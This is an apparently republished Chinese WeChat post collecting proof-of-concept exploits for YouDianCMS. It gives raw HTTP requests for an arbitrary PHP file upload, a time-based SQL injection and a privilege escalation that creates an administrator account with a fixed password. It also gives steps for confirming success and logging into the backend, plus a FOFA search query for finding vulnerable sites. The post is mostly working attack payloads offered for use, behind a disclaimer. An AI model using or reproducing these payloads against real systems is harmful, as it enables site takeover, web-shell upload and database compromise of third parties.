免责声明
该公众号主要是分享互联网上公开的一些漏洞poc和工具，利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及作者不为此承担任何责任，一旦造成后果请自行承担！如果本公众号分享导致的侵权行为请告知，我们会立即删除并道歉。
漏洞影响范围
漏洞复现
1.image_upload接口任意文件上传
POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/2Host:Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 227------WebKitFormBoundarydAPjrmyKewWuf59HContent-Disposition: form-data; name="files"; filename="c.php"Content-Type: image/jpg123------WebKitFormBoundarydAPjrmyKewWuf59H--
返回这样的信息就代表漏洞存在：
{“result”:”200″,”msg”:”/image/uploads/1708664341678.php”}
2.GetSpecial接口SQL延时注入漏洞
GET /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%282%29%29%29A HTTP/1.1Host:accept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=din23h07blv026kk4tdqt1re00Connection: close
返回这样的信息就代表漏洞存在：
3.最新版本YouDianCMS 9.5.11水平越权-获取后台权限
POST /index.php/Admin/member/SetAdmin HTTP/1.1Host: 192.168.169.142Content-Length: 810Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxSRzg4Lt1bzJyrqrAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeCookie: ajs_anonymous_id=f22f8860-0882-4501-ac59-d541373cfacc; ajs_user_id=7052de16e0cf5c6ff476e7b3e592cb259331a467; PHPSESSID=i6omf842qvaa6clbooe0ttktc5Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="NowPage"1------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="dlgMemberID"2------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="dlgAdminName"admin2------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="dlgAdminGroupID"1------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="pwd3"Admin123456------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="pwd4"Admin123456------WebKitFormBoundaryxSRzg4Lt1bzJyrqrContent-Disposition: form-data; name="__hash__"24982b0d920e656b633764d3a2558895_3ffae5121575f72fa21d87a52342b47d------WebKitFormBoundaryxSRzg4Lt1bzJyrqr--
3.1 要先获取一个前台的账号密码前台登录地址：
url+/index.php/public/login/l/cn,也可以注册一个但是要审核
3.2 登录获取cookie替换数据包就行,出现如下数据代表利用成功
3.3 登录后台：url+/index.php/Admin/public/Login，账号密码admin2/Admin123456
后台上传接口
源码获取:
http://www.youdiancms.com/soft.html
搜索语法
fofa：app=”友点建站-CMS” && product=”友点建站-CMS”
原文始发于微信公众号（小白菜安全）：YouDianCMS友点系统漏洞合集
